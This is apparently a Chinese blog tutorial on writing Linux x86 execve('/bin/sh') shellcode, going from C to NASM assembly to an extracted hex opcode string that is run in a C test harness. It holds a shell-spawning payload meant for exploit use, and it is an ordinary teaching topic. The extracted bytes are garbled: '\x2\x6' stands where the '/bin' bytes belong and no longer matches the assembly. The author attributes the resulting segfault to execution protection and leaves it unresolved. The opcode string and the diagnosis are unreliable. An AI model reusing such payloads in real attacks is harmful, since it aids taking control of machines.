shellcode编写
1.前言
漏洞利用最重要的就是shellcode的编写,漏洞发现者在漏洞发现之初并不会给出完整的shellcode,所以我们要学会自己编写shellcode。
注:shellcode中不能出现NULL和/x00,存在其一再利用的时候会被截断。
2.什么是Shellcode
shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。
shellcode基本的编写方式有以下三种:
① 直接编写十六进制操作码。
② 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
③ 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
第一种方法很极端,直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。
3.execve系统调用
在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。32位linux内核的系统调用表可以通过网站来查询,我们这里获得shell只需用到execve函数,我们首先来看看execve的使用方法。
这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值。
c语言实现execve系统调用创建shell
#include <unistd.h>
int main()
{
char * shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell,NULL);
}
然后我们使用gcc编译器来编译一下:
gcc 4.c -o 4
成功执行创建一个shell。
转向汇编语言
前面我们已经使用c语言来实现了,现在我们就需要用汇编语言来重写execve系统调用,其实很简单。我们先来查看一下execve系统调用号:11
汇编代码重写:
首先我们将寄存器eax清零。
xor eax,eax
然后我们将寄存器eax进行入栈操作,其实就是将字符串末尾的空字符值入栈:
push eax
然后将//sh入栈(由于需要对齐,因此这里用了四个字节)第一个参数
push 0x68732f2f
最后将/bin入栈。
push 0x6e69622f
现在栈上已经有了全部所需数据,现在就是设置execve系统调用了。将/bin//sh存放到EBX寄存器,第2个参数
mov ebx,esp
压4字节的NULL,第3个参数,环境变量为 NULL
push eax
push ebx
把EBX地址存入ECX寄存器
mov ecx,esp
xor edx,edx
mov al,0xb ;0xb表示其系统调用号的十六进制,execve的系统调用号为11
int 0x80 ;int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
完整代码如下:
section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80
编译链接
首先使用nasm进行汇编
nasm -f elf 2.asm
(如果未安装nasm,通过sudo apt-get install nasm安装)
然后使用ld链接
ld -o 2 2.o
(提示不兼容的话用ld -m elf_i386 -o 2 2.o)
运行测试看看
4.提取十六进制操作码并测试Shellcode
用objdump工具的-d选项进行反汇编即可:
输入命令:
objdump -d 2
得到shellcode:”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;
测试shellcode
首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
int main()
{
void (*fp) (void);
fp=(void *)shellcode;
fp();
}
然后通过gcc编译,测试,但是出现了段错误这种情况,上网查了一下,说是因为系统本身有数据区执行保护机制,导致在全局数据段的shellcode不能被运行,即出现段错误。
这里我们先安装一下execstack。
sudo apt-get install execstack
然后针对编译后的程序使用execstack
execstack -s 程序名
可是弄完之后仍然是段错误,不知道为啥!